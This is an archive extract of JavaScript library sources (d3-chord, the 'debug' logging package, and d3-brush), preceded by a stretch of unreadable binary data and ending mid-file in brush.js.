{(:���#�n�_��:���ʻ���s��$ZX�F~c<B<���/����I5%����%}P�#L���Zt��<�a� #Du����P4H��{�!)�M �Z`㛯�$G��w(���3��_����g�0y��Mbk(��`�0w5����ܫ�CPx�l� ?�l��G[�tSőLI<l�A�+�;�!D2k�j��,��R��g���k�(��c��:��Hx��Y�.��ʟ½k�_�5=���xLC�"1���9~�t���̱���cӅ P��9�m�4��JVIY�B[�Q�Lq�tR �*��y��ePY�iq�f���HZZ�<�!_Y�w�O<��X�Un�_������f�7�8-|���;u�)�PH�;V��QH�À��%����#�]��VOn>�irQU E?u:�����F0(3IuQ�< �P�n�}���v�`1��3�a�8��N _�qB�q��������\8(�Q��jg�>2�Cx�xZH@"����$P��"��(��WHa9���zk�aԮM��ERe�.��zT�+�����@�L�b��K0:J~��,�a��%�z%}Q�T��(ݏIO��:�1�ًdo;��D p��;�A����K0r��)��<̕r�.e��v~f�*�4�~���4�D,� ��[|Vlht_�.*��$˄�A�ڎ��Z��LPk�;M���u�W��ЯM~K����&�^+F�7�p�?�2L&�"w�}@gg��������!Dڔs݄�db.Wh���-�;��j�q�Z�B��y�E�^�Ǭa5A 7��h��7B#�lO�a�@ � �J�9j�W_Dz��ݿ���(}�;�����Ի�'��51@H�$f��/��(�|&�Vyu8[�� �<���節�T���C�5���K��|+�/�y"uQ�&�0����e*}�R���#ϝ��V�y]B�3��xiB�%`n�1�*`j@�w��_��J:�j�ZV�2)��n�D �>e}�wĈ�����!X�W��^v�C�ǫ�vR�$&���4�nd5D�=�4�C���Ԝx������ ��ܨ�����z�C����H��+��Ԙx� '�eE�(0}�0�ھ.��E�U�<�`���X<��1߃����4�LP�/&�� �ґ��uN����۩�P�����ʢ�KW=���1&z����K�^���c�}U�}�S�<,�����D��G��W��!���6M�O���<�<�q�[{x�6'��$��� DN�+�5�`�c�9Ok}y��bxo��"���DU��A���)L�����)��j�V��9G/U��� X���I+�PD^��r�1���d�(��Rr��ro!4m��ܘ壏�O�H�L��f�����@���5;�7jt�j�FhFe.�4 ����T�&� A����]+\�%Ӛ��ɓ�iq� H$��LB��1�gG���չ{y �P���w��f�26"�����D-��q��&��yy��]�v�}i��({���?�q�,'��Pj� ��T��Y��Z=K�����'��3���<��P��=@&���A�#\�����% ���.*g�r��� @���ӴV���}�h��둽9_`���M�D҂�9�ؐp(��#>f�'d� �`��Q?ʨ Gv?������9����X�t��8��Ҧ�Z�^��4�:.W ���1:?��m�L�ӄ�nfPD� �"f2 ���T���p�Jߓ�ep�Q�EFyИǤ���"*���ǽ�b��K�"�&1S���&d��]�G|��4*��~NW�ա��c�m�[(��H�i����ʋx=�,E�6�zק��9 ���)�)�~�}�ҥT�Fc��8@6r�h%�y�4�[���}�;S���ޫO5'�<둃DǏ�q7c�04��F+�2�2�q�)��`�;A��e����*�T���3.���I~�WU`y�Q����Zi�<X�m�V�MEg_B�y���-l�v/N�G�峏���R8�8�\u��Dw_㮮��6�2�PM��͖5�y*3\ߍР�Zzu�RE��?�G���ښb73lYq�1�kӬԦ��IǴ�v]������z�A����U�ˇ�Nw�$�>!M��eqbg�]%�s��;c���^�?_"#�q�1��U���&|��7\#����M]�m�ZR)��_�N�{@|]�24�1���̘2�Ix��䅦���'q��ۥ��g��RG�ĵf�𘫷x��|��04�X�D��R�x����X�%���Q��=���C7�F��bS�����R��m7�c�� ��}�{� ���G�+��ix貕��ADu�R7���ۥ�:�5�a���j[��N�dyUl����b����o-!��"WC|���2�L���};�/Sg��!VD��R�&�j4 ��hSҠ��t� ʓ�����-�6(�]4&�����9�g#�M�d��#n��-~�$о�z���Lc�WUR(�|�'sט)Q�8kxO00�W4��wP�r����h� ��Dj��.HT9d�T����(���q�����Yr��������~ BI��#��9l�}Q�"����m�d�B^�=^>@6��F��ݠBu��'k���2�Y�7eЈ���X{���1�d��*��2Ȟxpy�Ìr�3H"��=��^����ް�}� � �7��#�h����b@$X.~$�<��D� Xs�U;� f�`�+�^OFX��=uA>�q��~�Xr�ha��U���-�娂m&��7�3����_u�~k��I��М���g�O3������㸎��Rz���_�Z��x�ߵ\S�w��м��r�b��a�Д71��jn���w)b_MDM�F��3��NF3��� ��z�\���!��XHͻI�Û;�-A�a-���?�ĥL)��5y9O�^�&T$3�u�n�&]}0���)D;!�B�B��.�!�O��I :j]4$���ÏG|��m\�������<�,83oW:A���. "^r跒ݖ�S�)�ޅH�x)<[�J��aVd�{���Z�����Vs%̢O�Z�{�P#�҄Y\������?r%k���S��m~��ړ�3��[&��껹5�SP��5{*��C����)��,U��Sf��I�z�9N�ʫV&����� ���6Ns�o��0Pow��:]�Vγ�_BUN]�6Co�Ů�� �^Re�H�'�J��t8�7}��9�����+�P���QR�����}��x�&X�D#O��ja�����^d��y$q�,9t��� ���/��NN��t�;c>���z��h�H�m�E/o�f>���4�h�+b�_qʎ�����gX�V��ʤ����ߙ���As�jC R�:�_1��b�4��Q��v����� j]Vŝ�^i<�o�/?��E�3��X�*� �o`�rb��"��0���Ť�D��;{���o."�!W,�[fM�\� C|2v�UNS��>������KĶ��αPC� }����FK�����)�V�0��$��5v��HG�m�"vq2���x�Po0u`�6�BI�y��~��-�zb!�Z'�l �2�\�o�E.����[F�U���1�ȁW�G�'�9C��PSܟ�h�09x7nd���gY �ަ��x�N������V��y<<�L{9����5�#�Ȕ��кg�1ȳS�1�[k:�ٍ}���>���8ea~U�XY���\�4��[%�J�8�ok4��2�Nω���w����/�y1�x��k�/] �=ǶHwѦ� �,˛��-K���3��Pz/�ժ�#6�T�K�3�ׯm��L;`�3�IH{�-kK�'��|�`�r�-�gW}�e���j��*u�5'ز��[�3+���I����"��n̥����}���D�?�:g�i��j<O�ql�jRO4��l�/T�U����Е�Փi�j謫G�B��P�p#b��Y�T<�� z�7%O����fQ�훮�!=�~���2^aw�{���Sϛ"�����)�6���O]���y2����֏��"}Lм������r*\[��e?uۑ}�'ѓ� ��#�Y#��P�T���bV��D?���.$��.�XYo͖gb`]#�6A��1��*z�?�"�a��ھ��i������h� t�扳�v���z����$�Fi6�������!~�t�+1��7�tp��^ȉk�����5�T��9��4��Š�߇ŪN����u�����?M�L�G�C~�D�.�`�?��o��RB�̌ <ޭM�Q���c|;ꦬgh{����B�Yju[���T; ̜<_T:���V� �|�Ͻ.Y���SNLC'�,M�ZXA/�w�H)7ůPb���8�ϕ��C�>%84V��ުR6�Pϕ�)�/=yBR� v�����p>���,��r#�PW�Io!��M�i������5�� ۖ�';7@k�K���bG��(��0":VP%);5I>TT_�[�KƩ�b��f}/~�EԷ��8��d4s���P0��s:j����? s�$�����oP[����x�*�8>~�4���lLԨ���(���A�ˋ"J�����d~�T@�&�DD��-]�3L���]�� {��D>��SDۜ���#v�ǵ�*����|λ�j=�y:y; �L0�P�z�r<��,��}�}�V:1|*[fݢ��x�؍�LMa� ���ZjqSR�u"���[�e���� ы�_f�5֠���r�9 �{�fo�����%�w�>��ݴ�C2wu'�%�E:rT���Z[X۹�i%��"˟��L��Jd�n��q ��t:Jp�e7��r@��9�amR�n%W����؟Qn����r\G�$��V��>�8D{n�!�mn�c��K�L��C�G��oʕpս�!WI ��~��j/�5o��GQ�ѻ?/.R���7D�c�̒�$��ܸVTy�mQgK~w�| +���r�G�%qY!?b�|B^l,ŋ��o��#o����R�� LT:'X���g`��7�~�Q�`�w�|��bЌ�(��G��|�G�?�ե�KNOm�˸]p� ��0��������N��jB���n�1�Ǘo����^��{�J{�M�i�o�{��oI��v�_w���"5 ���?��O��7���/��_/��:)�T��f�Uݐ���#�.e��皍�ڝ��0�Iӳ|I+l�]V��h��Rt�M�$�.�=S8|L�DQB�U8��iw�X~f�̷�Aa�a ��Pӷ�Nvje��{V'>�$���j;���sE}���(W��2B�3&\�}!:؛�3�OL�O��l����C�m`aP�u-�L��1?ulO\�B�x^�Ƕ�ig�U���;��l���[1���;�N���-vN��C��U�i!{��D(�������p��Ł����/&Q]Z%�B"�I�T!6�8,� ������ �K���/�x�B��o��]�%�����c #��Z���@�[�|��������m��M��`i@��a�v"ȗ�NT�x�>�;Cje@��~�*w��b���ݯ��[�^Y�X��N��T��S�i��n��R���E��-I��Ջ\����P�o�3�'mp����h�Y}�ǥ0t2-l4㯎.*�4���P��ύ�R��,�x,T>0z����8��R���#�KGrz�?i��VJ�+ܱhgռ�gl�JS��Y\�ՒS�&m���-]���m���� �'w��}B����#�����RI53��5� �Jc�- y��|G4v3J ����;i��Nj�}_P��H��)6����Z�ԗU%Qo,��g�&6��2 w�$�����&z�sBHô"N�B,�PB�y�����~��[��ER=���e���w�fR�uۿ7���Np�eG#�ȉ-^"@���ͻ�L+-m�N�в$��� �@`{e�դO��fqPQϐ<z*�_@��y3Y�$f,͍�� ����O����r}6p+R���i��6�ڟ�":�:@�&����Ղ�'�[)z�{��/~�j';9�zܛ֢m����r�:��P�;;P(�M�v�OH0�x�m���!I���m���j�3�Y01`#yfc�3og�8��S�& v ��ك�ܾ̇ͣ���^ݬm���i��rf"�E�@�� ��Z��TA��=�oEE�������%�]�<}n��X����n�\�;z�}*g�ȹ� ���g�諍z��Y�D�n�]�^��!nۗd������l�~�<�quǚ�����ʗ��1��/��4g��2�fg�$�,-f� �о� ��ʋ'lFLn�ӧ9� I�I�x�f���iW�-��A4~�&rմ�\"�L�|7��-���w'�B͵�4���'-����e-��+���0w�-�o]��1#g=�e�q�h��͗�[,�K�JR���-����S��e9��D +�ܳ��陳%���͘_��[�����U�sIC|a�B �p�}g�!K�u�vU>�+W�k���VdE��RNz���i/�r�ts_�t�Ҟ������TP�<�";}8���Ϟ�s�T���}�+�y���;mi��t��']�v��'5�D�Y�niu�Q�CT|ʹ~����h��C�|����W�}\�d����a^��J���ҍԾ4���hs��;0YZindex.js000064400000000130151677230230006211 0ustar00export {default as chord} from "./chord"; export {default as ribbon} from "./ribbon"; common.js000064400000014221151677230230006400 0ustar00 /** * This is the common logic for both the Node.js and web browser * implementations of `debug()`. */ function setup(env) { createDebug.debug = createDebug; createDebug.default = createDebug; createDebug.coerce = coerce; createDebug.disable = disable; createDebug.enable = enable; createDebug.enabled = enabled; createDebug.humanize = require('ms'); createDebug.destroy = destroy; Object.keys(env).forEach(key => { createDebug[key] = env[key]; }); /** * The currently active debug mode names, and names to skip. */ createDebug.names = []; createDebug.skips = []; /** * Map of special "%n" handling functions, for the debug "format" argument. * * Valid key names are a single, lower or upper-case letter, i.e. "n" and "N". */ createDebug.formatters = {}; /** * Selects a color for a debug namespace * @param {String} namespace The namespace string for the debug instance to be colored * @return {Number|String} An ANSI color code for the given namespace * @api private */ function selectColor(namespace) { let hash = 0; for (let i = 0; i < namespace.length; i++) { hash = ((hash << 5) - hash) + namespace.charCodeAt(i); hash |= 0; // Convert to 32bit integer } return createDebug.colors[Math.abs(hash) % createDebug.colors.length]; } createDebug.selectColor = selectColor; /** * Create a debugger with the given `namespace`. * * @param {String} namespace * @return {Function} * @api public */ function createDebug(namespace) { let prevTime; let enableOverride = null; let namespacesCache; let enabledCache; function debug(...args) { // Disabled? if (!debug.enabled) { return; } const self = debug; // Set `diff` timestamp const curr = Number(new Date()); const ms = curr - (prevTime || curr); self.diff = ms; self.prev = prevTime; self.curr = curr; prevTime = curr; args[0] = createDebug.coerce(args[0]); if (typeof args[0] !== 'string') { // Anything else let's inspect with %O args.unshift('%O'); } // Apply any `formatters` transformations let index = 0; args[0] = args[0].replace(/%([a-zA-Z%])/g, (match, format) => { // If we encounter an escaped % then don't increase the array index if (match === '%%') { return '%'; } index++; const formatter = createDebug.formatters[format]; if (typeof formatter === 'function') { const val = args[index]; match = formatter.call(self, val); // Now we need to remove `args[index]` since it's inlined in the `format` args.splice(index, 1); index--; } return match; }); // Apply env-specific formatting (colors, etc.) createDebug.formatArgs.call(self, args); const logFn = self.log || createDebug.log; logFn.apply(self, args); } debug.namespace = namespace; debug.useColors = createDebug.useColors(); debug.color = createDebug.selectColor(namespace); debug.extend = extend; debug.destroy = createDebug.destroy; // XXX Temporary. Will be removed in the next major release. Object.defineProperty(debug, 'enabled', { enumerable: true, configurable: false, get: () => { if (enableOverride !== null) { return enableOverride; } if (namespacesCache !== createDebug.namespaces) { namespacesCache = createDebug.namespaces; enabledCache = createDebug.enabled(namespace); } return enabledCache; }, set: v => { enableOverride = v; } }); // Env-specific initialization logic for debug instances if (typeof createDebug.init === 'function') { createDebug.init(debug); } return debug; } function extend(namespace, delimiter) { const newDebug = createDebug(this.namespace + (typeof delimiter === 'undefined' ? ':' : delimiter) + namespace); newDebug.log = this.log; return newDebug; } /** * Enables a debug mode by namespaces. This can include modes * separated by a colon and wildcards. * * @param {String} namespaces * @api public */ function enable(namespaces) { createDebug.save(namespaces); createDebug.namespaces = namespaces; createDebug.names = []; createDebug.skips = []; let i; const split = (typeof namespaces === 'string' ? namespaces : '').split(/[\s,]+/); const len = split.length; for (i = 0; i < len; i++) { if (!split[i]) { // ignore empty strings continue; } namespaces = split[i].replace(/\*/g, '.*?'); if (namespaces[0] === '-') { createDebug.skips.push(new RegExp('^' + namespaces.slice(1) + '$')); } else { createDebug.names.push(new RegExp('^' + namespaces + '$')); } } } /** * Disable debug output. * * @return {String} namespaces * @api public */ function disable() { const namespaces = [ ...createDebug.names.map(toNamespace), ...createDebug.skips.map(toNamespace).map(namespace => '-' + namespace) ].join(','); createDebug.enable(''); return namespaces; } /** * Returns true if the given mode name is enabled, false otherwise. * * @param {String} name * @return {Boolean} * @api public */ function enabled(name) { if (name[name.length - 1] === '*') { return true; } let i; let len; for (i = 0, len = createDebug.skips.length; i < len; i++) { if (createDebug.skips[i].test(name)) { return false; } } for (i = 0, len = createDebug.names.length; i < len; i++) { if (createDebug.names[i].test(name)) { return true; } } return false; } /** * Convert regexp to namespace * * @param {RegExp} regxep * @return {String} namespace * @api private */ function toNamespace(regexp) { return regexp.toString() .substring(2, regexp.toString().length - 2) .replace(/\.\*\?$/, '*'); } /** * Coerce `val`. * * @param {Mixed} val * @return {Mixed} * @api private */ function coerce(val) { if (val instanceof Error) { return val.stack || val.message; } return val; } /** * XXX DO NOT USE. This is a temporary stub function. * XXX It WILL be removed in the next major release. */ function destroy() { console.warn('Instance method `debug.destroy()` is deprecated and no longer does anything. It will be removed in the next major version of `debug`.'); } createDebug.enable(createDebug.load()); return createDebug; } module.exports = setup; node.js000064400000011170151677230230006035 0ustar00/** * Module dependencies. */ const tty = require('tty'); const util = require('util'); /** * This is the Node.js implementation of `debug()`. */ exports.init = init; exports.log = log; exports.formatArgs = formatArgs; exports.save = save; exports.load = load; exports.useColors = useColors; exports.destroy = util.deprecate( () => {}, 'Instance method `debug.destroy()` is deprecated and no longer does anything. It will be removed in the next major version of `debug`.' ); /** * Colors. */ exports.colors = [6, 2, 3, 4, 5, 1]; try { // Optional dependency (as in, doesn't need to be installed, NOT like optionalDependencies in package.json) // eslint-disable-next-line import/no-extraneous-dependencies const supportsColor = require('supports-color'); if (supportsColor && (supportsColor.stderr || supportsColor).level >= 2) { exports.colors = [ 20, 21, 26, 27, 32, 33, 38, 39, 40, 41, 42, 43, 44, 45, 56, 57, 62, 63, 68, 69, 74, 75, 76, 77, 78, 79, 80, 81, 92, 93, 98, 99, 112, 113, 128, 129, 134, 135, 148, 149, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 178, 179, 184, 185, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 214, 215, 220, 221 ]; } } catch (error) { // Swallow - we only care if `supports-color` is available; it doesn't have to be. } /** * Build up the default `inspectOpts` object from the environment variables. * * $ DEBUG_COLORS=no DEBUG_DEPTH=10 DEBUG_SHOW_HIDDEN=enabled node script.js */ exports.inspectOpts = Object.keys(process.env).filter(key => { return /^debug_/i.test(key); }).reduce((obj, key) => { // Camel-case const prop = key .substring(6) .toLowerCase() .replace(/_([a-z])/g, (_, k) => { return k.toUpperCase(); }); // Coerce string value into JS value let val = process.env[key]; if (/^(yes|on|true|enabled)$/i.test(val)) { val = true; } else if (/^(no|off|false|disabled)$/i.test(val)) { val = false; } else if (val === 'null') { val = null; } else { val = Number(val); } obj[prop] = val; return obj; }, {}); /** * Is stdout a TTY? Colored output is enabled when `true`. */ function useColors() { return 'colors' in exports.inspectOpts ? Boolean(exports.inspectOpts.colors) : tty.isatty(process.stderr.fd); } /** * Adds ANSI color escape codes if enabled. * * @api public */ function formatArgs(args) { const {namespace: name, useColors} = this; if (useColors) { const c = this.color; const colorCode = '\u001B[3' + (c < 8 ? c : '8;5;' + c); const prefix = ` ${colorCode};1m${name} \u001B[0m`; args[0] = prefix + args[0].split('\n').join('\n' + prefix); args.push(colorCode + 'm+' + module.exports.humanize(this.diff) + '\u001B[0m'); } else { args[0] = getDate() + name + ' ' + args[0]; } } function getDate() { if (exports.inspectOpts.hideDate) { return ''; } return new Date().toISOString() + ' '; } /** * Invokes `util.formatWithOptions()` with the specified arguments and writes to stderr. */ function log(...args) { return process.stderr.write(util.formatWithOptions(exports.inspectOpts, ...args) + '\n'); } /** * Save `namespaces`. * * @param {String} namespaces * @api private */ function save(namespaces) { if (namespaces) { process.env.DEBUG = namespaces; } else { // If you set a process.env field to null or undefined, it gets cast to the // string 'null' or 'undefined'. Just delete instead. delete process.env.DEBUG; } } /** * Load `namespaces`. * * @return {String} returns the previously persisted debug modes * @api private */ function load() { return process.env.DEBUG; } /** * Init logic for `debug` instances. * * Create a new `inspectOpts` object in case `useColors` is set * differently for a particular `debug` instance. */ function init(debug) { debug.inspectOpts = {}; const keys = Object.keys(exports.inspectOpts); for (let i = 0; i < keys.length; i++) { debug.inspectOpts[keys[i]] = exports.inspectOpts[keys[i]]; } } module.exports = require('./common')(exports); const {formatters} = module.exports; /** * Map %o to `util.inspect()`, all on a single line. */ formatters.o = function (v) { this.inspectOpts.colors = this.useColors; return util.inspect(v, this.inspectOpts) .split('\n') .map(str => str.trim()) .join(' '); }; /** * Map %O to `util.inspect()`, allowing multiple lines if needed. */ formatters.O = function (v) { this.inspectOpts.colors = this.useColors; return util.inspect(v, this.inspectOpts); }; browser.js000064400000013572151677230230006603 0ustar00/* eslint-env browser */ /** * This is the web browser implementation of `debug()`. */ exports.formatArgs = formatArgs; exports.save = save; exports.load = load; exports.useColors = useColors; exports.storage = localstorage(); exports.destroy = (() => { let warned = false; return () => { if (!warned) { warned = true; console.warn('Instance method `debug.destroy()` is deprecated and no longer does anything. It will be removed in the next major version of `debug`.'); } }; })(); /** * Colors. */ exports.colors = [ '#0000CC', '#0000FF', '#0033CC', '#0033FF', '#0066CC', '#0066FF', '#0099CC', '#0099FF', '#00CC00', '#00CC33', '#00CC66', '#00CC99', '#00CCCC', '#00CCFF', '#3300CC', '#3300FF', '#3333CC', '#3333FF', '#3366CC', '#3366FF', '#3399CC', '#3399FF', '#33CC00', '#33CC33', '#33CC66', '#33CC99', '#33CCCC', '#33CCFF', '#6600CC', '#6600FF', '#6633CC', '#6633FF', '#66CC00', '#66CC33', '#9900CC', '#9900FF', '#9933CC', '#9933FF', '#99CC00', '#99CC33', '#CC0000', '#CC0033', '#CC0066', '#CC0099', '#CC00CC', '#CC00FF', '#CC3300', '#CC3333', '#CC3366', '#CC3399', '#CC33CC', '#CC33FF', '#CC6600', '#CC6633', '#CC9900', '#CC9933', '#CCCC00', '#CCCC33', '#FF0000', '#FF0033', '#FF0066', '#FF0099', '#FF00CC', '#FF00FF', '#FF3300', '#FF3333', '#FF3366', '#FF3399', '#FF33CC', '#FF33FF', '#FF6600', '#FF6633', '#FF9900', '#FF9933', '#FFCC00', '#FFCC33' ]; /** * Currently only WebKit-based Web Inspectors, Firefox >= v31, * and the Firebug extension (any Firefox version) are known * to support "%c" CSS customizations. * * TODO: add a `localStorage` variable to explicitly enable/disable colors */ // eslint-disable-next-line complexity function useColors() { // NB: In an Electron preload script, document will be defined but not fully // initialized. Since we know we're in Chrome, we'll just detect this case // explicitly if (typeof window !== 'undefined' && window.process && (window.process.type === 'renderer' || window.process.__nwjs)) { return true; } // Internet Explorer and Edge do not support colors. if (typeof navigator !== 'undefined' && navigator.userAgent && navigator.userAgent.toLowerCase().match(/(edge|trident)\/(\d+)/)) { return false; } // Is webkit? http://stackoverflow.com/a/16459606/376773 // document is undefined in react-native: https://github.com/facebook/react-native/pull/1632 return (typeof document !== 'undefined' && document.documentElement && document.documentElement.style && document.documentElement.style.WebkitAppearance) || // Is firebug? http://stackoverflow.com/a/398120/376773 (typeof window !== 'undefined' && window.console && (window.console.firebug || (window.console.exception && window.console.table))) || // Is firefox >= v31? // https://developer.mozilla.org/en-US/docs/Tools/Web_Console#Styling_messages (typeof navigator !== 'undefined' && navigator.userAgent && navigator.userAgent.toLowerCase().match(/firefox\/(\d+)/) && parseInt(RegExp.$1, 10) >= 31) || // Double check webkit in userAgent just in case we are in a worker (typeof navigator !== 'undefined' && navigator.userAgent && navigator.userAgent.toLowerCase().match(/applewebkit\/(\d+)/)); } /** * Colorize log arguments if enabled. * * @api public */ function formatArgs(args) { args[0] = (this.useColors ? '%c' : '') + this.namespace + (this.useColors ? ' %c' : ' ') + args[0] + (this.useColors ? '%c ' : ' ') + '+' + module.exports.humanize(this.diff); if (!this.useColors) { return; } const c = 'color: ' + this.color; args.splice(1, 0, c, 'color: inherit'); // The final "%c" is somewhat tricky, because there could be other // arguments passed either before or after the %c, so we need to // figure out the correct index to insert the CSS into let index = 0; let lastC = 0; args[0].replace(/%[a-zA-Z%]/g, match => { if (match === '%%') { return; } index++; if (match === '%c') { // We only are interested in the *last* %c // (the user may have provided their own) lastC = index; } }); args.splice(lastC, 0, c); } /** * Invokes `console.debug()` when available. * No-op when `console.debug` is not a "function". * If `console.debug` is not available, falls back * to `console.log`. * * @api public */ exports.log = console.debug || console.log || (() => {}); /** * Save `namespaces`. * * @param {String} namespaces * @api private */ function save(namespaces) { try { if (namespaces) { exports.storage.setItem('debug', namespaces); } else { exports.storage.removeItem('debug'); } } catch (error) { // Swallow // XXX (@Qix-) should we be logging these? } } /** * Load `namespaces`. * * @return {String} returns the previously persisted debug modes * @api private */ function load() { let r; try { r = exports.storage.getItem('debug'); } catch (error) { // Swallow // XXX (@Qix-) should we be logging these? } // If debug isn't set in LS, and we're in Electron, try to load $DEBUG if (!r && typeof process !== 'undefined' && 'env' in process) { r = process.env.DEBUG; } return r; } /** * Localstorage attempts to return the localstorage. * * This is necessary because safari throws * when a user disables cookies/localstorage * and you attempt to access it. * * @return {LocalStorage} * @api private */ function localstorage() { try { // TVMLKit (Apple TV JS Runtime) does not have a window object, just localStorage in the global context // The Browser also has localStorage in the global context. return localStorage; } catch (error) { // Swallow // XXX (@Qix-) should we be logging these? } } module.exports = require('./common')(exports); const {formatters} = module.exports; /** * Map %j to `JSON.stringify()`, since no Web Inspectors do that by default. */ formatters.j = function (v) { try { return JSON.stringify(v); } catch (error) { return '[UnexpectedJSONParseError]: ' + error.message; } }; noevent.js000064400000000324151677233360006574 0ustar00import {event} from "d3-selection"; export function nopropagation() { event.stopImmediatePropagation(); } export default function() { event.preventDefault(); event.stopImmediatePropagation(); } constant.js000064400000000115151677233360006745 0ustar00export default function(x) { return function() { return x; }; } brush.js000064400000037675151677233360006264 0ustar00import {dispatch} from "d3-dispatch"; import {dragDisable, dragEnable} from "d3-drag"; import {interpolate} from "d3-interpolate"; import {customEvent, event, mouse, select} from "d3-selection"; import {interrupt} from "d3-transition"; import constant from "./constant"; import BrushEvent from "./event"; import noevent, {nopropagation} from "./noevent"; var MODE_DRAG = {name: "drag"}, MODE_SPACE = {name: "space"}, MODE_HANDLE = {name: "handle"}, MODE_CENTER = {name: "center"}; var X = { name: "x", handles: ["e", "w"].map(type), input: function(x, e) { return x && [[x[0], e[0][1]], [x[1], e[1][1]]]; }, output: function(xy) { return xy && [xy[0][0], xy[1][0]]; } }; var Y = { name: "y", handles: ["n", "s"].map(type), input: function(y, e) { return y && [[e[0][0], y[0]], [e[1][0], y[1]]]; }, output: function(xy) { return xy && [xy[0][1], xy[1][1]]; } }; var XY = { name: "xy", handles: ["n", "e", "s", "w", "nw", "ne", "se", "sw"].map(type), input: function(xy) { return xy; }, output: function(xy) { return xy; } }; var cursors = { overlay: "crosshair", selection: "move", n: "ns-resize", e: "ew-resize", s: "ns-resize", w: "ew-resize", nw: "nwse-resize", ne: "nesw-resize", se: "nwse-resize", sw: "nesw-resize" }; var flipX = { e: "w", w: "e", nw: "ne", ne: "nw", se: "sw", sw: "se" }; var flipY = { n: "s", s: "n", nw: "sw", ne: "se", se: "ne", sw: "nw" }; var signsX = { overlay: +1, selection: +1, n: null, e: +1, s: null, w: -1, nw: -1, ne: +1, se: +1, sw: -1 }; var signsY = { overlay: +1, selection: +1, n: -1, e: null, s: +1, w: null, nw: -1, ne: -1, se: +1, sw: +1 }; function type(t) { return {type: t}; } // Ignore right-click, since that should open the context menu. function defaultFilter() { return !event.button; } function defaultExtent() { var svg = this.ownerSVGElement || this; return [[0, 0], [svg.width.baseVal.value, svg.height.baseVal.value]]; } // Like d3.local, but with the name “__brush” rather than auto-generated. function local(node) { while (!node.__brush) if (!(node = node.parentNode)) return; return node.__brush; } function empty(extent) { return extent[0][0] === extent[1][0] || extent[0][1] === extent[1][1]; } export function brushSelection(node) { var state = node.__brush; return state ? state.dim.output(state.selection) : null; } export function brushX() { return brush(X); } export function brushY() { return brush(Y); } export default function() { return brush(XY); } function brush(dim) { var extent = defaultExtent, filter = defaultFilter, listeners = dispatch(brush, "start", "brush", "end"), handleSize = 6, touchending; function brush(group) { var overlay = group .property("__brush", initialize) .selectAll(".overlay") .data([type("overlay")]); overlay.enter().append("rect") .attr("class", "overlay") .attr("pointer-events", "all") .attr("cursor", cursors.overlay) .merge(overlay) .each(function() { var extent = local(this).extent; select(this) .attr("x", extent[0][0]) .attr("y", extent[0][1]) .attr("width", extent[1][0] - extent[0][0]) .attr("height", extent[1][1] - extent[0][1]); }); group.selectAll(".selection") .data([type("selection")]) .enter().append("rect") .attr("class", "selection") .attr("cursor", cursors.selection) .attr("fill", "#777") .attr("fill-opacity", 0.3) .attr("stroke", "#fff") .attr("shape-rendering", "crispEdges"); var handle = group.selectAll(".handle") .data(dim.handles, function(d) { return d.type; }); handle.exit().remove(); handle.enter().append("rect") .attr("class", function(d) { return "handle handle--" + d.type; }) .attr("cursor", function(d) { return cursors[d.type]; }); group .each(redraw) .attr("fill", "none") .attr("pointer-events", "all") .style("-webkit-tap-highlight-color", "rgba(0,0,0,0)") .on("mousedown.brush touchstart.brush", started); } brush.move = function(group, selection) { if (group.selection) { group .on("start.brush", function() { emitter(this, arguments).beforestart().start(); }) .on("interrupt.brush end.brush", function() { emitter(this, arguments).end(); }) .tween("brush", function() { var that = this, state = that.__brush, emit = emitter(that, arguments), selection0 = state.selection, selection1 = dim.input(typeof selection === "function" ? selection.apply(this, arguments) : selection, state.extent), i = interpolate(selection0, selection1); function tween(t) { state.selection = t === 1 && empty(selection1) ? null : i(t); redraw.call(that); emit.brush(); } return selection0 && selection1 ? tween : tween(1); }); } else { group .each(function() { var that = this, args = arguments, state = that.__brush, selection1 = dim.input(typeof selection === "function" ? selection.apply(that, args) : selection, state.extent), emit = emitter(that, args).beforestart(); interrupt(that); state.selection = selection1 == null || empty(selection1) ? null : selection1; redraw.call(that); emit.start().brush().end(); }); } }; function redraw() { var group = select(this), selection = local(this).selection; if (selection) { group.selectAll(".selection") .style("display", null) .attr("x", selection[0][0]) .attr("y", selection[0][1]) .attr("width", selection[1][0] - selection[0][0]) .attr("height", selection[1][1] - selection[0][1]); group.selectAll(".handle") .style("display", null) .attr("x", function(d) { return d.type[d.type.length - 1] === "e" ? selection[1][0] - handleSize / 2 : selection[0][0] - handleSize / 2; }) .attr("y", function(d) { return d.type[0] === "s" ? selection[1][1] - handleSize / 2 : selection[0][1] - handleSize / 2; }) .attr("width", function(d) { return d.type === "n" || d.type === "s" ? selection[1][0] - selection[0][0] + handleSize : handleSize; }) .attr("height", function(d) { return d.type === "e" || d.type === "w" ? selection[1][1] - selection[0][1] + handleSize : handleSize; }); } else { group.selectAll(".selection,.handle") .style("display", "none") .attr("x", null) .attr("y", null) .attr("width", null) .attr("height", null); } } function emitter(that, args) { return that.__brush.emitter || new Emitter(that, args); } function Emitter(that, args) { this.that = that; this.args = args; this.state = that.__brush; this.active = 0; } Emitter.prototype = { beforestart: function() { if (++this.active === 1) this.state.emitter = this, this.starting = true; return this; }, start: function() { if (this.starting) this.starting = false, this.emit("start"); return this; }, brush: function() { this.emit("brush"); return this; }, end: function() { if (--this.active === 0) delete this.state.emitter, this.emit("end"); return this; }, emit: function(type) { customEvent(new BrushEvent(brush, type, dim.output(this.state.selection)), listeners.apply, listeners, [type, this.that, this.args]); } }; function started() { if (event.touches) { if (event.changedTouches.length < event.touches.length) return noevent(); } else if (touchending) return; if (!filter.apply(this, arguments)) return; var that = this, type = event.target.__data__.type, mode = (event.metaKey ? type = "overlay" : type) === "selection" ? MODE_DRAG : (event.altKey ? MODE_CENTER : MODE_HANDLE), signX = dim === Y ? null : signsX[type], signY = dim === X ? null : signsY[type], state = local(that), extent = state.extent, selection = state.selection, W = extent[0][0], w0, w1, N = extent[0][1], n0, n1, E = extent[1][0], e0, e1, S = extent[1][1], s0, s1, dx, dy, moving, shifting = signX && signY && event.shiftKey, lockX, lockY, point0 = mouse(that), point = point0, emit = emitter(that, arguments).beforestart(); if (type === "overlay") { state.selection = selection = [ [w0 = dim === Y ? W : point0[0], n0 = dim === X ? N : point0[1]], [e0 = dim === Y ? E : w0, s0 = dim === X ? S : n0] ]; } else { w0 = selection[0][0]; n0 = selection[0][1]; e0 = selection[1][0]; s0 = selection[1][1]; } w1 = w0; n1 = n0; e1 = e0; s1 = s0; var group = select(that) .attr("pointer-events", 